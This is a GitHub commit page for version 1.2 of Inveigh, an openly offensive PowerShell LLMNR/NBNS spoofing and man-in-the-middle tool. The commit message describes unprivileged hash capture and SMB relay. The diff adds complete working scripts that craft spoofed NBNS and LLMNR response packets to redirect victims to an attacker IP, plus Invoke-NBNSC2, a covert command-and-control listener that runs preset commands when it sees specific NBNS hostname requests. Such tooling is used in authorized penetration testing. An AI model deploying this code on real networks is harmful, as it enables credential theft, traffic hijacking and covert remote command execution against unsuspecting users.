Skip to content

Commit

Permalink
Inveigh 1.2
Browse files Browse the repository at this point in the history
1. Added Inveigh-Unprivileged.ps1 (replaces Inveigh-BruteForce.ps1) –
This script contains only LLMNR/NBNS spoofing and hash capture methods
that do not require local admin access. The NBNS spoofer can be used
without disabling the local NBNS service. The LLMNR spoofer does require
stopping (needs admin) the local service and freeing up port 5355. It
will work without admin on a system with LLMNR disabled. Note that there
can still be systems configurations that will prevent
Inveigh-Unprivileged from working, and require admin access to change
(e.g. local firewall blocking traffic, LLMNR enabled). This script
replaces Inveigh-BruteForce and contains the same functionality.

2. Inveigh.ps1 Updates - Added a learning mode (SpooferLearning
parameter) to Invoke-Inveigh that will attempt to avoid spoofing
requests for valid hostnames. If enabled, Inveigh will send out
LLMNR/NBNS requests for hostnames received through incoming LLMNR/NBNS
requests. If Inveigh receives a response for a sent requests, it will
add the hostname to a blacklist. Added some some code to help keep track
or the SMB capture sequence. Removed the ability to launch
Invoke-InveighRelay directly from an Invoke-Inveigh command line.

3. Inveigh-Relay.ps1 Status - This one is due for an overhhaul. I'm also
considering trying to convert it to not require admin access. No real
changes on this pass though. It will work with either Invoke-Inveigh
(-HTTP N and/or -HTTPS N) or Invoke-InveighUnprivileged (-HTTP N) as
long as the target system supports SMB1.

4. Support Functions - Merged all of the small Get functions into
Get-Inveigh.

5. Extras – Added an extras directory for functions that don’t fit the
main scripts.
a. Send-NBNSResponse – This function sends a crafted NBNS response
packet to a specific target. For name resolution to be successful, the
specified TargetIP, Hostname, and TransactionID must match a very (very
very) recent NBNS request. You must have an external method
(wireshark,etc) of viewing the required NBNS request fields for traffic
on the target subnet. The odds of pulling this attack off manually are
slim due to the narrow response window. I've only been able to get it to
work manually by watching tshark with the the transaction ID being
listed in the output. Ideally, this function would be fed by another
script.
b. Send-LLMNResponse – Just like Send-NBNSResponse but even harder to
use manually.
c. Invoke-NBNSC2 - Invoke-NBNSC2 will listen for NBNS requests and
execute set commands if requests for specific hostnames are received.
The function must be supplied with an even number of Hostnames and
Commands. NBNS requests can be sent from a NBNS enabled system on the
same subnet using ping, etc.
  • Loading branch information
Kevin-Robertson committed Sep 13, 2016
1 parent 747b0d1 commit 73e2f3d
Show file tree
Hide file tree
Showing 8 changed files with 4,400 additions and 1,434 deletions.
151 changes: 151 additions & 0 deletions Extras/Invoke-NBNSC2.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,151 @@
function Invoke-NBNSC2
{
<#
.SYNOPSIS
Invoke-NBNSC2 will listen for NBNS requests and execute set commands if requests for specific hostnames are
received. The function must be supplied with an even number of Hostnames and Commands. NBNS requests can be
sent from a NBNS enabled system on the same subnet using ping, etc.
.PARAMETER Hostnames
A comma separated list of Hostnames that will trigger a corresponding command. The first hostname trigger a command
from the Commands array with a matching index (e.g. Hostnames[0] executes Commands[0]).
.PARAMETER Commands
An array of commands stored in scriptblock format. All commands must be enclosed in {} brackets.
.PARAMETER ExitHostname
Specify a hostname that will cause the function to exit. This hostname must not match a hostname used in Hostnames.
.PARAMETER RunTime
(Integer) Set the run time duration.
.PARAMETER RunTimeUnit
Default = Minutes: Set the time unit for RunTime to either Minutes, Hours, or Days.
.EXAMPLE
Send-NBNSC2 -Hostnames test1,test2 -Command {calc},{notepad} -RunTime 1 -RunTimeUnit Days
.LINK
https://github.com/Kevin-Robertson/Inveigh
#>

[CmdletBinding()]
param
(
[parameter(Mandatory=$true)][Array]$Hostnames = "",
[parameter(Mandatory=$true)][Array]$Commands = "",
[parameter(Mandatory=$true)][String]$ExitHostname = "",
[parameter(Mandatory=$false)][Int]$RunTime="",
[parameter(Mandatory=$false)][ValidateSet("Minutes","Hours","Days")][String]$RunTimeUnit="Minutes",
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)

if ($invalid_parameter)
{
throw "$($invalid_parameter) is not a valid parameter."
}

if($Hostnames.Count -ne $Commands.Count)
{
throw "Must use an equal number of Hostnames and Commands."
}
elseif($Hostnames -contains $ExitHostname)
{
throw "ExitHostname cannot be used as in Hostnames."
}

if($RunTime)
{
if($RunTimeUnit -like 'Minutes')
{
$runtime_timeout = new-timespan -Minutes $RunTime
}
elseif($RunTimeUnit -like 'Hours')
{
$runtime_timeout = new-timespan -Hours $RunTime
}
elseif($RunTimeUnit -like 'Days')
{
$runtime_timeout = new-timespan -Days $RunTime
}

$runtime_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
}

$Hostnames = $Hostnames | % {$_.ToUpper()}
$running = $true
$NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137)
$NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137
$NBNS_UDP_client.Client.ReceiveTimeout = 10000
$control_timeout = new-timespan -Seconds 1
$control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()

while($running)
{
try
{
$NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint)
}
catch
{
$NBNS_request_data = $null
}

if($NBNS_request_data)
{
$NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)])
$NBNS_query = $NBNS_query -replace "-00",""
$NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
$NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length)
$NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA"))
$NBNS_query_string_subtracted = ""
$NBNS_query_string = ""
$n = 0

if($NBNS_query_string_encoded.Length -gt 1)
{
do
{
$NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65)
$NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16))
$n += 1
}
until($n -gt ($NBNS_query_string_encoded.Length - 1))

$n = 0

do
{
$NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16)))
$n += 2
}
until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15)
}

if([Array]::IndexOf($Hostnames,$NBNS_query_string) -ge 0 -and $control_stopwatch.Elapsed -ge $control_timeout)
{
$NBNS_UDP_client.Close()
$command_index = [Array]::IndexOf($Hostnames,$NBNS_query_string)
$NBNS_query_string = ''
& $Commands[$command_index]
$control_timeout = new-timespan -Seconds 5
$control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
$NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137
$NBNS_UDP_client.Client.ReceiveTimeout = 10000
}
elseif($ExitHostname -like $NBNS_query_string)
{
$running = $false
}
}

if($RunTime -and $runtime_stopwatch.Elapsed -ge $runtime_timeout)
{
$running = $false
}

}

$NBNS_UDP_client.Close()

}
87 changes: 87 additions & 0 deletions Extras/Send-LLMNRResponse.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@

function Send-LLMNRResponse
{
<#
.SYNOPSIS
Send-LLMNRResponse sends a crafted LLMNR response packet to a specific target. For name resolution to be successful,
the specified TargetIP, TargetPort, Hostname, and TransactionID must match a very (very very) recent LLMNR request.
You must have an external method (wireshark,etc) of viewing the required LLMNR request fields for traffic on the
target subnet. The odds of pulling this attack off manually are slim if not impossible due to the narrow response
window. Ideally, this function would be fed by another script.
.PARAMETER Hostname
Default = WPAD: Specify a hostname for NBNS spoofing.
.PARAMETER LLMNRTTL
Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet.
.PARAMETER SendPort
Default = Random Available: Specify a source port for the LLMNR response. Note that the standard port is 5355
which will cause a binding conflict if LLMNR is enabled on the host system. A random port seems to work fine.
.PARAMETER SpooferIP
Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system
other than the function host.
.PARAMETER TargetIP
Specify an IP address to target for the LLMNR response.
.PARAMETER TargetPort
Specify an port to target for the LLMNR response. This port must match the source port included in the request.
.EXAMPLE
Send-LLMNRResponse -Target 192.168.1.11 -Hostname test -TransactionID 9c9e
.LINK
https://github.com/Kevin-Robertson/Inveigh
#>


[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="",
[parameter(Mandatory=$true)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$TargetIP="",
[parameter(Mandatory=$true)][ValidatePattern('^[A-Fa-f0-9]{4}$')][String]$TransactionID="",
[parameter(Mandatory=$true)][String]$Hostname = "",
[parameter(Mandatory=$true)][Int]$TargetPort="",
[parameter(Mandatory=$false)][Int]$SendPort="0",
[parameter(Mandatory=$false)][Int]$LLMNRTTL="30",
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)

if ($invalid_parameter)
{
throw "$($invalid_parameter) is not a valid parameter."
}

if(!$SpooferIP)
{
$SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
}

$hostname_bytes = [System.Text.Encoding]::UTF8.GetBytes($Hostname)
$LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL)
[Array]::Reverse($LLMNR_TTL_bytes)
$Transaction_ID_encoded = $TransactionID.Insert(2,'-')
$Transaction_ID_bytes = $Transaction_ID_encoded.Split('-') | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}

$LLMNR_response_packet = $Transaction_ID_bytes +
0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 +
$hostname_bytes.Count +
$hostname_bytes +
0x00,0x00,0x01,0x00,0x01 +
$hostname_bytes.Count +
$hostname_bytes +
0x00,0x00,0x01,0x00,0x01 +
$LLMNR_TTL_bytes +
0x00,0x04 +
([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes()

$send_socket = New-Object System.Net.Sockets.UdpClient($SendPort)
$destination_IP = [System.Net.IPAddress]::Parse($TargetIP)
$destination_point = New-Object Net.IPEndpoint($destination_IP,$TargetPort)
$send_socket.Connect($destination_point)
$send_socket.Send($LLMNR_response_packet,$LLMNR_response_packet.Length)
$send_socket.Close()
}
105 changes: 105 additions & 0 deletions Extras/Send-NBNSResponse.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,105 @@

function Send-NBNSResponse
{
<#
.SYNOPSIS
Send-NBNSResponse sends a crafted NBNS response packet to a specific target. For name resolution to be successful,
the specified TargetIP, Hostname, and TransactionID must match a very (very very) recent NBNS request. You must
have an external method (wireshark,etc) of viewing the required NBNS request fields for traffic on the target
subnet. The odds of pulling this attack off manually are slim due to the narrow response window. I've only been
able to get it to work manually by watching tshark with the the transaction ID being listed in the output.
Ideally, this function would be fed by another script.
.PARAMETER Hostname
Default = WPAD: Specify a hostname for NBNS spoofing.
.PARAMETER NBNSTTL
Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet.
.PARAMETER SendPort
Default = 137: Specify a source port for the NBNS response.
.PARAMETER SpooferIP
IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system
other than the function host.
.PARAMETER TargetIP
IP address to target for the NBNS response.
.PARAMETER TransactionID
NBNS transaction ID that matches the transaction from the NBNS request.
.EXAMPLE
Send-NBNSResponse -Target 192.168.1.11 -Hostname test -TransactionID 9c9e
.LINK
https://github.com/Kevin-Robertson/Inveigh
#>


[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="",
[parameter(Mandatory=$true)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$TargetIP="",
[parameter(Mandatory=$true)][ValidatePattern('^[A-Fa-f0-9]{4}$')][String]$TransactionID="",
[parameter(Mandatory=$true)][String]$Hostname = "",
[parameter(Mandatory=$false)][Int]$SendPort="137",
[parameter(Mandatory=$false)][Int]$NBNSTTL="165",
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)

if ($invalid_parameter)
{
throw "$($invalid_parameter) is not a valid parameter."
}

if(!$SpooferIP)
{
$SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
}

$Hostname = $Hostname.ToUpper()

$hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,
0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00

$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname)
$hostname_encoded = [System.BitConverter]::ToString($hostname_encoded)
$hostname_encoded = $hostname_encoded.Replace("-","")
$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded)
$NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL)
[Array]::Reverse($NBNS_TTL_bytes)
$Transaction_ID_encoded = $TransactionID.Insert(2,'-')
$Transaction_ID_bytes = $Transaction_ID_encoded.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}

for($i=0; $i -lt $hostname_encoded.Count; $i++)
{

if($hostname_encoded[$i] -gt 64)
{
$hostname_bytes[$i] = $hostname_encoded[$i] + 10
}
else
{
$hostname_bytes[$i] = $hostname_encoded[$i] + 17
}

}

$NBNS_response_packet = $Transaction_ID_bytes +
0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 +
$hostname_bytes +
0x00,0x20,0x00,0x01 +
$NBNS_TTL_bytes +
0x00,0x06,0x00,0x00 +
([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() +
0x00,0x00,0x00,0x00

$send_socket = New-Object System.Net.Sockets.UdpClient($SendPort)
$destination_IP = [System.Net.IPAddress]::Parse($TargetIP)
$destination_point = New-Object Net.IPEndpoint($destination_IP,137)
$send_socket.Connect($destination_point)
$send_socket.Send($NBNS_response_packet,$NBNS_response_packet.Length)
$send_socket.Close()
}
4 changes: 2 additions & 2 deletions Inveigh.psm1
Original file line number Diff line number Diff line change
@@ -1,10 +1,10 @@
<#
.SYNOPSIS
Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP(S)/SMB and NTLMv2 HTTP to SMB relay.
Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool.
.LINK
https://github.com/Kevin-Robertson/Inveigh
#>
Import-Module $PWD\Scripts\Inveigh.ps1
Import-Module $PWD\Scripts\Inveigh-BruteForce.ps1
Import-Module $PWD\Scripts\Inveigh-Unprivileged.ps1
Import-Module $PWD\Scripts\Inveigh-Relay.ps1
Loading

0 comments on commit 73e2f3d

Please sign in to comment.